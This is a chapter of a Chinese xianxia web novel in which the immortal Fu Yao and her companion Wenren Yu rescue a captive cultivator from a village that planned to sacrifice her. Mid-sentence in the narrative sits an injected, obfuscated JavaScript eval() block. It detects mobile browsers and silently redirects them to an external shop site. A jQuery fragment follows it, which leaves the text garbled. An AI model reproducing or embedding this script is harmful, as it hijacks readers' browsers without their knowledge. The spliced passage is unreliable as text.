“就在前面,据可靠消息,抓到女姮的就是这个村子。”闻人玉说话时,狗狗从他胸前的衣服里探出头,看起来精神状态还不错地吐着舌头。
二人走到村口的位置,却见唯一一个还点着灯笼的,是位于正中央的大院子。前院站着三五个壮汉,也不互相交流,显得气氛有些紧张。
闻人玉小声问芙媱:“你说女姮会不会被关在这里。”
“很有可能。”芙媱点头,幻出剑就要往里冲,但是却又被一把拉住,于是奇怪的转身看向他,“还有什么事?我先去看看。”
“直接走进去吗?”闻人玉疑惑。
芙媱把他的手拍开,理所当然道:“对呀,我可是仙人,有规定不能随便出手的,除非……”
“除非,他们先动手。”眼见着有个壮汉向她扑来,芙媱轻轻捏过身侧的一缕清风,幻成长绳将他捆住。剩下围过来的几个人也没逃过相同的命运,被捆成粽子丢在角落里。
“这个禁制半个时辰之后就能自己解开,我们动作得快点。”
一进门,二人就和一个打扮古怪的老头四目相对,他一摇手中的铃铛,便又是围过来了好几个青壮年。芙媱如法炮制。只剩下这老者,大约是知道自己不是芙媱的对手,他便要直接往后绕去。
芙媱哪里会给他这个机会,这次没用捆的,而是直接幻出长剑,将他脸上的兽骨面具挑飞,露出来个瘦削枯槁的脸。
“说,女姮在哪里。”芙媱长剑一指。她不伤害其他凡人,是因为这些凡人必然不足以对抗仙人,随意处置便是滥用仙力。但眼前这个祭祀模样的人,可以勉强算是和修行沾点边,那就别怪她不客气了。
祭祀咬牙切齿,梗着脖子一个字都没说。
芙媱最讨厌有人冥顽不灵,她也懒得和祭祀废话,催动仙力探查周围的流风:“不说也没事,我可以自己看。”
“救救我……救救我……”风中有非常微弱的呼救声,但不是女姮,女姮无法口吐人言。
芙媱想,这大约是个寻常人家的落难姑娘吧,于是转头问闻人玉:“你身上的那个东西能带三个人传送不?”
“理论上也行。”闻人玉想了想,十分自信地回答,“这些法宝都是我家的作坊里出品的,绝对的童叟无欺,因为我是个充满良心的法宝商。”
“我怀疑他们抓的不是女姮,只是在向外界冒充女姮。”芙媱对他招招手,示意他快点跟自己过去,“这里有个姑娘求救的声音。”
闻人玉蹑手蹑脚走到她身侧。
芙媱在这一瞬显得很专注,双眼合上又张开,明暗交替间她捕捉到了那缕流风的清晰来源。
她的长剑在控制下逐渐变大,周围轮廓也跟着虚幻起来,照亮了这一小方土地:“在地下,她的气息很微弱,如果再找不到的话,就要死了。”
“闻人玉,你先站远点。”芙媱对他扬扬下巴。
闻人玉自然听劝,走到不远处的角落里,被五花大绑的老祭祀也已经狼狈的爬到他边上,叫不经意间回头的闻人玉吓得叫了声:“哎呀,你爬得还挺快。”说话时,他从手里丢出来个法宝,幻成张沉重的大网,将这老祭祀给困在地上再动弹不得。
芙媱那边也是剑诀未停,整个人腾空而起,踩着剑柄后又借势越上更远的高度,挥动巨大的长剑向大地凌虚一劈。
一个原本被遮盖住,藏的严严实实的小地窖才终于出现在众人面前。芙媱随意地震碎窖门,探头向里面问去:“有人吗?”
地窖内传来低声地抽泣,因为天黑的缘故,芙媱指尖凝出团火焰向里照去。却只见一个看着和自己年岁相仿的姑娘,脸上布满泪痕,衣衫褴褛、发丝枯槁,像遭受了不小的虐待。
芙媱被她的惨状吓了一跳:“我马上救你上来!”
“谢谢修士。”姑娘被她举止温柔地托出来后,已是连站也站不住,只能坐在地上,上半身靠着芙媱,眼里是劫后余生的喜悦和对自己经历的恐惧。
芙媱帮她处理了身上的伤口,想了想又取出一株仙草,折下一片叶子塞进她嘴里:“可能会有点苦,我师尊拿它炼丹的时候都会加很多饴糖,可惜这次走得急忘记去掏他的炼丹炉了。”
“要不要也试试我的,改良过的桂花糖口味。”闻人玉凑过来,把两个罐子递给她们,“白色的那个,另一个是外用的。”说完他颇有风度的转过身去,等芙媱替那姑娘处理伤口。
“你别这么看着我,你身上那是「殃」,我的药治不了。”闻人玉感觉怀里的狗狗探出脑袋,似乎也对他的药感兴趣,轻轻按了几下没按住,于是状似无奈道,“好吧,就当请你吃糖糕。”
狗狗兴奋地蹭他:“嗷!”
“看样子是还不会化型,也不能总叫你狗啊狗啊的。”闻人玉沉思,“不如叫你,富贵吧!”
狗狗有点嫌弃,但很快闻人玉说:“跟着我可以一直吃到糖糕,这种荣华富贵你要不要?”
富贵立刻讨好地蹭了蹭他的手掌。
“闻人玉,你快过来。”芙媱也已经替那姑娘收拾好了身上的伤口。
却见姑娘是已经开始默默垂泪:“我叫段翩然,本是云阙宗的修士,和同门的师姐们一起去山里猎妖兽,不想误入了这个村寨。这里的人说村子连续三年沾染疫病,要拿我祭供奉的神仙。”
“也不知他们用了什么方法,我原本也是宗门里的佼佼者,但被骗进那个屋子的时候,我才发现自己完全做不到聚「气」,一身修为发不出来,就被擒住困在那个地窖里了。”
“你知不知道他们供奉的哪路神佛?”芙媱追问,但她心中清楚,这其中多半是个歪门邪道。寻常仙人,不管在上界名声多差,行为多无状,也是非常反对人祭的。毕竟平白无故送来个人魂,安置起来也颇为麻烦。
段翩然面色苍白,说话还有些吃力,但和刚才相比算是缓了过来:“我只见过塑像,放在村后山山顶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874380|212043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
处的位置,平日里只有这些村民来祭拜,看样子似乎是有些年头了。”
“是谁的塑像?”闻人玉追问。
段翩然摇摇头:“字迹已经模糊到看不清了,只像月五二字。我以为这个村子里的祭祀和月华相关,又知道点女姮的事情,便偷偷告诉来给我送饭的小孩,说我是女姮,想借着这个名头唤起他们的敬畏。”
“所以这里没有女姮。”芙媱有点遗憾,又有点为她点遭遇而生气,“看样子,就算你是女姮他们也胆子大到要用你来祭祀了。不过还好这个传闻被散播出来,我和闻人玉才能找到这里。”
闻人玉也出言帮腔道:“是啊,还好你反应够灵活。你身体虚弱不宜奔波,这里的人暂时被控制住了,我先送你去外面休息,然后明天白天我再带人来深入调查。”
“谢谢各位。”段翩然感激地抓住芙媱的手,终于有了几分获救的感觉,于是嚎啕大哭道,“我阿爹是云阙宗道宗主,他是不会亏待各位的。”
闻人玉催动法宝,和芙媱一左一右扶着她,说了个非常简短的口诀后,周围环境变化,他们竟然直接出现在一个房间内。
“你这东西看起来还挺厉害的诶。”芙媱有些惊讶,他所说的传送法阵竟然是真的能将他们传送回来。毕竟即使是仙界,也有不少仙人爬云术学的一塌糊涂。
闻人玉也跟着自夸:“当然,这可是我自己折腾研究出来的东西,用了点上界弄来的材料,仙人你有没有兴趣加入?”
芙媱乐道:“好呀,我觉得蛮有意思的。我可以帮你试试法宝。”
“你是自己想玩吧。”闻人玉觉得自己和芙媱简直是一见如故,否则怎么连心态都会如此相近,“不过我当初也是因为觉得好玩才来研究法宝的,你真的很有品味!”
芙媱被他哄得有些飘飘然,二人是聊得恨不得立马结拜。直到外面大概是有人听到动静,敲了敲门:“殿下,您还没休息吗。”
“对,本殿下又不想休息了,宋伯你让客栈给我准备一桌子酒菜送来。”闻人玉大大方方地回应,然后又问坐在角落里的段翩然,“想来姑娘这段时日过得艰难,不若现在这屋内稍作休息,我差人为你打水沐浴一二,想必定能容光焕发。”
段翩然刚刚便一直沉默地听他们交谈,现在见话题带到自己身上,才不好意思地开口道谢:“多谢殿下。”很显然是跟着那位宋伯一起叫的。
“哪那么多规矩,你和芙媱一样叫我闻人玉好啦。”闻人玉倒是不在意这些虚礼,而是从口袋里又掏出件法宝抛给她:“不知道你身上的联络石有没有丢,但这个是万用联络石,直接报山名就能接。”
段翩然捧着联络石,鼻子一酸就又想哭了。芙媱向来不擅长哄人,于是也从自己的荷包里掏出小玩意给她:“这个也给你,可以在有危险的时候挡一次伤害,你带着它下次就不会被抓啦。”
“芙媱,闻人玉,谢谢你们。”段翩然眼里含泪。